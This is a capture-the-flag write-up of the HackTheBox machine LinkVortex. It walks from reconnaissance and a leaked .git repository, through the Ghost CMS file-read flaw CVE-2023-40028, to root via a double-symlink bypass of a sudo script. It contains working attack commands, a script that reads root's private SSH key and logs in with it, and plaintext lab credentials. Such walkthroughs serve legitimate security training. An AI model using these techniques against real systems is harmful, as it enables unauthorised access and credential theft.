[HackTheBox] LinkVortex
[Machine Details]
Machine Name | Difficulty | OS | Release Date | Machine Author |
---|---|---|---|---|
Code | Easy | Linux | Dec 8, 2024 | 0xyassine |
🧩 About LinkVortex
LinkVortex is an easy-difficulty Linux machine that begins with the identification of a Ghost CMS
admin panel running version 5.58
, which is vulnerable to CVE-2023-40028
, an authenticated arbitrary file read vulnerability. As valid credentials are required to exploit it, further enumeration reveals an exposed .git
directory on a development subdomain. Reconstructing the Git repository uncovers hardcoded admin credentials, enabling access to the Ghost CMS panel. The production configuration file is then used to extract SSH credentials for a low-privileged user. Privilege escalation is achieved through a misconfigured sudo
script (clean_symlink.sh
) that improperly handles symlinks and environment variables, allowing the retrieval of the root user's private SSH key and full system compromise.
[Reconnaissance]
💻 NMAP Scan
A targeted NMAP scan against the machine linkvortex.htb
revealed two open ports:
Nmap scan report for linkvortex.htb (10.129.246.252)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: BitByBit Hardware
|_http-server-header: Apache
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-generator: Ghost 5.58
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Port 22 (SSH)
The SSH service is running OpenSSH 8.9p1 (Ubuntu 3ubuntu0.10), a common version found on Ubuntu systems. While no unauthenticated vulnerabilities are known for this version, it may become useful later if credentials or an SSH private key are discovered, potentially allowing for remote shell access. - Port 80 (HTTP)
The web server is serving an Apache httpd server, hosting a website titled "BitByBit Hardware". Thehttp-generator
header indicates that the backend is powered by Ghost CMS v5.58, a Node.js-based blogging platform. Additionally, therobots.txt
file disallows access to several paths:/ghost/
,/p/
,/email/
, and/r/
, all of which may reveal sensitive functionality or admin areas worth further investigation.
🕵️ Manual Inspection
- Software Technologies
- The site runs on Apache HTTP Server.
- It uses Ghost CMS v5.58, confirmed by both the header and the common paths in
robots.txt
. - This version is vulnerable to CVE-2023-40028 – an authenticated arbitrary file read via symlinks. This could be impactful and useful if we get valid credentials.
- Interesting Files and Directories
[GET/POST] /ghost
- This is the administrative login panel for Ghost CMS. It supports both GET and POST methods. A GET request to
/ghost/
loads the login interface, while a POST request is used to submit user credentials for authentication. This endpoint is a potential entry point for logging into the admin dashboard, and could be targeted using credential stuffing, password spraying, or exploiting any known default credentials — assuming brute-force protections are not in place.
- This is the administrative login panel for Ghost CMS. It supports both GET and POST methods. A GET request to
GET /p/{post_uuid}
- Typically used by Ghost CMS to preview unpublished or draft posts. May potentially expose sensitive content if accessible without authentication.
GET /sitemap.xml
- This file reveals site structure, including pages, posts, and author names. In this case, we identified an author named admin, which strongly suggests the administrator’s email is admin@linkvortex.htb — a valuable lead for authentication attempts.
📊 Initial Recon Analysis
Based on the recon so far, our objective becomes clearer:
- Ghost CMS admin login page (
/ghost/
) is present. - It’s vulnerable to CVE-2023-40028, but we need credentials to exploit it.
- We likely have a valid target email: admin@linkvortex.htb but we need to find the password to proceed with the exploitation.
🌐 Subdomain Enumeration
Since the main site linkvortex.htb
didn’t reveal any password or vulnerabilities we could use directly, and brute-forcing is discouraged on HackTheBox, we shifted to subdomain enumeration.
We used wfuzz with an Assetnote wordlist focused for subdomains:
wfuzz -c -w 2m-subdomains.txt -H "Host: FUZZ.linkvortex.htb" --sc 200 http://linkvortex.htb/

The tool discovered a new virtual host: dev.linkvortex.htb
. We added it to our /etc/hosts
file to resolve it properly.

This subdomain may expose files or directories that were left open and accessible, potentially containing misconfigurations or backup data, as developers often leave debugging artifacts or sensitive content during the development phase.
🔍 Vulnerability Scan with Nuclei
We launched Nuclei, with templates to quickly identify any known vulnerabilities, exposed configuration files, or missing best practices that might lead to information disclosure or privilege escalation:
nuclei -u http://dev.linkvortex.htb -t ~/nuclei-templates/

After the scan, we discovered an exposed .git
directory on the dev
subdomain. This is a significant finding, as exposed Git repositories can often be reconstructed using different tools to recover source code, config files, and potentially hardcoded credentials.

🧪 Git Repo Analysis
To analyze the exposed Git repository, we used wget
to recursively download the entire .git
directory from the dev.linkvortex.htb
subdomain. This allowed us to investigate the repository offline, review commit history, and inspect files for sensitive information — particularly credentials that could be used to authenticate as admin@linkvortex.htb
on the main Ghost CMS instance. This is a critical step for leveraging CVE-2023-40028, which requires valid credentials.
wget -r -R "index.html*" -I /.git/ http://dev.linkvortex.htb/.git/

After downloading the repository, one of the first things we noticed was the presence of a file named shallow
inside the .git
directory. This file contains commit hashes that are considered shallow, meaning they do not have their parent commits included. This typically indicates the repository was cloned using the --depth
option, limiting historical context.

To confirm this, we ran the following command:
git rev-parse --is-shallow-repository

A return value of true
confirms that we’re working with a shallow clone, and therefore only have access to a limited portion of the commit history.
Next, we examined the commit history using:
git log --oneline
This showed us a list of available commit hashes. Because the repository is shallow, some commits are grafted, meaning Git artificially attaches them to the visible history even though their parent commits are missing.

Running git status
revealed that we were not currently on any branch. It also showed that there were staged changes (ready to be committed).

To review what was staged, we used:
git diff --cached

Among the staged changes, we found something interesting: a hardcoded password: OctopiFociPilfer45
. Based on the earlier recon, this is very likely the password for the admin user: admin@linkvortex.htb
.
To verify that the changes were part of a grafted commit, we examined the repository and used the following command to view the commit history of the target file:
git log --oneline ghost/core/test/regression/api/admin/authentication.test.js
The commit hash associated with the file matched one of the grafted commit hashes we identified earlier in the log. This confirms the password came from a recent commit in the shallow repo.

[Initial Access]
With valid credentials in hand, we can now log into the Ghost CMS admin panel and exploit CVE-2023-40028 to read arbitrary files from the system.
Email: admin@linkvortex.htb
Pass: OctopiFociPilfer45

We searched online for a working Proof of Concept (PoC) and found an exploit script published by the machine's creator:
⚙️ How the CVE-2023-40028 Works?
This PoC allows an authenticated Ghost CMS user to read arbitrary files from the server using a ZIP upload trick. Here's how it works:
- Parses login credentials from script arguments.
- Obtains session by logging in to Ghost CMS
- Displays an interactive shell to prompt user to input a target file (.e.g,
/etc/passwd
) - Prepares the ZIP archive by
- creates a folder structure under
/content/images/<year>/
- adds a symlink inside that structure pointing to the target file
- compresses the symlink into the ZIP file
- creates a folder structure under
- Uploads the ZIP to the Ghost CMS using the import endpoint to make the target file accessible via a public image path
- Downloads the file from Ghost's image path where the symlink resolves to fetch the content of the file.
- Performs cleanup process.

The next goal is to find the exact location of Ghost CMS configuration file, which may contain sensitive information like credentials.
If you remember, in the output of git status
, aside from the modified file containing the password, there was also a new file named Dockerfile.ghost
. Reading its contents reveals the full path to the Ghost CMS production config file. This is valuable, as the config file may contain sensitive information that can help us move further.

Inside the production config file, we found hardcoded credentials for another user, which can be used to gain further access to the system:

👨💻 Logging In as Bob
Using these credentials, we successfully authenticated via SSH as bob:
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}

At this point, we have a shell on the machine as a low-privileged user (bob), and are ready to begin local enumeration to escalate privileges.
[Privileged Escalation]
🔍 Discovering a Privileged Script
While exploring the system as bob, we checked for any commands that could be run with elevated privileges. Using sudo -l
, we discovered that bob can execute the following script with sudo:

📄 Inspecting clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Script Breakdown:
QUAR_DIR
is set to/var/quarantined
, where suspicious symlinks are stored.- If the environment variable
CHECK_CONTENT
isn’t set, it defaults tofalse
. When set totrue
, it prints the contents of the quarantined file. Basically, this variable controls whether the script will show the content of the quarantined file. - The script checks if the first argument ends in
.png
and ensures it's a symlink usingtest -L
. Then it stores the filename toLINK_NAME
and the path the symlink points to intoLINK_TARGET
. - If the symlink points to files in
/etc
or/root
, it is immediately deleted using/usr/bin/unlink
. - Otherwise, it’s moved to the quarantine folder, and prints the content if
CHECK_CONTENT=true
.
⚔️ Exploiting clean_symlink.sh
To exploit the script, the idea is to bypass the check for sensitive paths by creating a double symlink chain:
- Create a symlink (
toorkey.txt
) pointing to a sensitive file (e.g.,/root/.ssh/id_rsa
). - Create a second symlink (
toorkey.png
) pointing to the first symlink.
Since only the second symlink is passed as input/argument (and ends in .png
), the script does not catch the real target path/file.
ln -s /root/.ssh/id_rsa toorkey.txt
ln -s /home/bob/toorkey.txt toorkey.png
Then we set the value of CHECK_CONTENT
to true
so the script prints the file content.
To automate the whole process, we wrote the following script:
#!/bin/bash
# -------- CONFIG --------
TARGET_FILE="$1"
SYMLINK1="toorkey.txt"
SYMLINK2="toorkey.png"
CURRENT_DIR="$(pwd)"
# ------------------------
if [ -z "$TARGET_FILE" ]; then
echo "[!] Usage: $0 <target_file>"
echo " Example: $0 /home/admin/.ssh/id_rsa"
exit 1
fi
echo "[*] Creating first symlink: $SYMLINK1 -> $TARGET_FILE"
ln -sf "$TARGET_FILE" "$SYMLINK1"
echo "[*] Creating second symlink: $SYMLINK2 -> $CURRENT_DIR/$SYMLINK1"
ln -sf "$CURRENT_DIR/$SYMLINK1" "$SYMLINK2"
echo "[*] Setting CHECK_CONTENT as true"
export CHECK_CONTENT=true
echo "[*] Executing the script"
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh "$CURRENT_DIR/$SYMLINK2"
echo "[+] Done. If successful, output should have been printed above."
Running this script with the target set to /root/.ssh/id_rsa
reveals the private SSH key for root.

If we include logic to parse and save the SSH private key directly from the script output, we can automate root access as well:
# Check for SSH key marker in the output
if grep -q -- "-----BEGIN OPENSSH PRIVATE KEY-----" "$TMP_OUTPUT"; then
echo "[+] SSH private key detected! Extracting key..."
# Extract key using sed and save it
sed -n '/-----BEGIN OPENSSH PRIVATE KEY-----/,/-----END OPENSSH PRIVATE KEY-----/p' "$TMP_OUTPUT" > "$KEY_FILE"
chmod 600 "$KEY_FILE"
echo "[+] Saved key to $KEY_FILE. Trying to SSH into root@localhost..."
ssh -i "$KEY_FILE" -o StrictHostKeyChecking=no -o IdentitiesOnly=yes root@localhost '
echo "[+] Connected as root"
echo "[+] User flag:"
cat /home/bob/user.txt 2>/dev/null || echo "[!] User flag not found"
echo "[+] Root flag:"
cat /root/root.txt 2>/dev/null || echo "[!] Root flag not found"
'
else
echo "[-] No SSH private key found in output."
fi

Member discussion